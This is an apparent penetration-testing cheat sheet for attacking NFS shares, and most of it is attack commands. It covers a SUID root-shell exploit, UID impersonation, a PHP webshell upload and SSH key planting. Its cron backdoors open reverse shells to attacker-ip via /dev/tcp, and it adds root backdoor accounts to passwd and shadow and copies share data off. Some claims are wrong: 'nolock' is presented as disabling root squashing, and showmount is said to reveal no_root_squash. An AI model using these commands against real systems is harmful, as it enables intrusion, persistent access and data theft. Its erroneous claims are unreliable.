NFS (Network File System)

`Default Ports: 2049 (NFS), 111 (RPC)`

Network File System (NFS) is a distributed file system protocol that allows users to access files over a network in a manner similar to how local storage is accessed. Developed by Sun Microsystems, NFS enables file sharing between Unix/Linux systems. Modern implementations (NFSv4) have improved security, but older versions and misconfigurations can lead to unauthorized access and data exposure.

Connect

Using mount

You can use the `mount` command to connect to NFS shares and access remote file systems as if they were local directories:

```
# List NFS shares
showmount -e target.com

# Mount NFS share
mkdir /mnt/nfs
mount -t nfs target.com:/share /mnt/nfs

# Mount with specific NFS version
mount -t nfs -o vers=3 target.com:/share /mnt/nfs
mount -t nfs -o vers=4 target.com:/share /mnt/nfs

# Mount without root squashing
mount -t nfs -o nolock target.com:/share /mnt/nfs

# Read-only mount
mount -t nfs -o ro target.com:/share /mnt/nfs

# Unmount
umount /mnt/nfs
```

Recon

Service Detection with Nmap

Use Nmap to detect NFS services and identify server capabilities.

```
nmap -p 2049,111 target.com
```

Share Enumeration

Discover which directories are being shared via NFS and what access permissions they have.

Using showmount

```
# List exported shares
showmount -e target.com

# List directories
showmount -d target.com

# List clients
showmount -a target.com
```

Using rpcinfo

```
# Using rpcinfo
rpcinfo -p target.com

# Manual RPC query
rpcinfo target.com | grep nfs
```

Enumeration

Mount and Explore

After mounting an NFS share, you can explore its contents and search for sensitive files or configuration data.

```
# Mount share
mount -t nfs target.com:/share /mnt/nfs

# List contents
ls -la /mnt/nfs

# Find interesting files
find /mnt/nfs -type f -name "*.conf"
find /mnt/nfs -type f -name "*.key"
find /mnt/nfs -type f -name "*.pem"
find /mnt/nfs -type f -name "*password*"
find /mnt/nfs -type f -name "*.env"

# Search for credentials
grep -r "password\|secret\|key" /mnt/nfs

# Check permissions
ls -la /mnt/nfs
```

UID/GID Enumeration

Understanding file ownership through numeric UIDs helps in planning privilege escalation attacks.

```
# Check file ownership
ls -lan /mnt/nfs

# Files often show numeric UIDs
# Common UIDs:
# 0 = root
# 1000 = first user
# 33 = www-data (Apache)
# 1001, 1002, etc = other users
```

Attack Vectors

No Root Squashing

When root squashing is disabled (no_root_squash), the root user on the client maintains root privileges on the NFS share, allowing privilege escalation.

```
# Check if no_root_squash is set
showmount -e target.com
# Look for (no_root_squash) in output

# Mount share
mount -t nfs target.com:/share /mnt/nfs

# Create file as root (if no_root_squash)
echo "test" > /mnt/nfs/root_file.txt
ls -la /mnt/nfs/root_file.txt
# Shows: -rw-r--r-- 1 root root

# Exploit: Create SUID shell
cp /bin/bash /mnt/nfs/rootbash
chmod +s /mnt/nfs/rootbash

# On target system, execute
./rootbash -p
# You get root shell
```

UID Manipulation

You can create a local user with the same UID as files on the NFS share to gain unauthorized access.

```
# Check file ownership on share
ls -lan /mnt/nfs
# e.g., file owned by UID 1000

# Create user with same UID
useradd -u 1000 fakeuser

# Switch to that user
su fakeuser

# Mount share
```

```
mount -t nfs target.com:/share /mnt/nfs

# Now you can read/write files owned by UID 1000
cat /mnt/nfs/sensitive_file.txt
```

Writable Share Exploitation

Writable NFS shares allow you to upload backdoors, modify system files, or inject malicious code.

```
# If share is writable, upload malicious files

# Upload PHP webshell (if web accessible)
cp shell.php /mnt/nfs/var/www/html/shell.php

# Upload SSH key
mkdir -p /mnt/nfs/root/.ssh
cp id_rsa.pub /mnt/nfs/root/.ssh/authorized_keys
chmod 600 /mnt/nfs/root/.ssh/authorized_keys

# Upload cron job
echo "* * * * * root bash -i >& /dev/tcp/attacker-ip/4444 0>&1" > /mnt/nfs/etc/
cron.d/backdoor

# Upload /etc/passwd backdoor
echo "backdoor::0:0:root:/root:/bin/bash" >> /mnt/nfs/etc/passwd
```

Post-Exploitation

Data Exfiltration

Once you have access to an NFS share, you can copy all files for offline analysis and searching for sensitive information.

```
# Copy entire share
rsync -av /mnt/nfs/ /tmp/exfiltrated_data/

# Compress and download
```

```
tar czf nfs_data.tar.gz /mnt/nfs
# Transfer to attacker machine

# Find sensitive files
find /mnt/nfs -name "*.key" -o -name "*.pem" -o -name "*password*"
```

Persistence

You can establish persistent access by modifying system files on the NFS share.

```
# Add SSH key (if /root/.ssh is writable)
echo "ssh-rsa AAAA..." >> /mnt/nfs/root/.ssh/authorized_keys

# Add cron job
echo "*/5 * * * * root bash -c 'bash -i >& /dev/tcp/attacker-ip/4444 0>&1'" > /
mnt/nfs/etc/cron.d/persistent

# Add user to /etc/passwd
echo "hacker:x:0:0::/root:/bin/bash" >> /mnt/nfs/etc/passwd
echo "hacker:\$6\$salt\$hash" >> /mnt/nfs/etc/shadow
```

NFS Versions

Version	Features	Security
NFSv2	Basic functionality	Weak security
NFSv3	Better performance	AUTH_SYS only
NFSv4	ACLs, better security	Kerberos support

Useful Tools

Tool	Description	Primary Use Case

Tool	Description	Primary Use Case
showmount	NFS share lister	Enumeration
mount	Mount utility	Access shares
nfsshell	NFS client	File operations
Nmap	Network scanner	Service detection
rpcinfo	RPC enumeration	Service discovery

Security Misconfigurations

- ❌ no_root_squash enabled
- ❌ Shares exported to * (everyone)
- ❌ Writable shares
- ❌ No authentication (NFSv3)
- ❌ Sensitive directories exported
- ❌ No access restrictions by IP
- ❌ NFSv2/v3 in use (use NFSv4)
- ❌ No Kerberos authentication
- ❌ Excessive permissions on files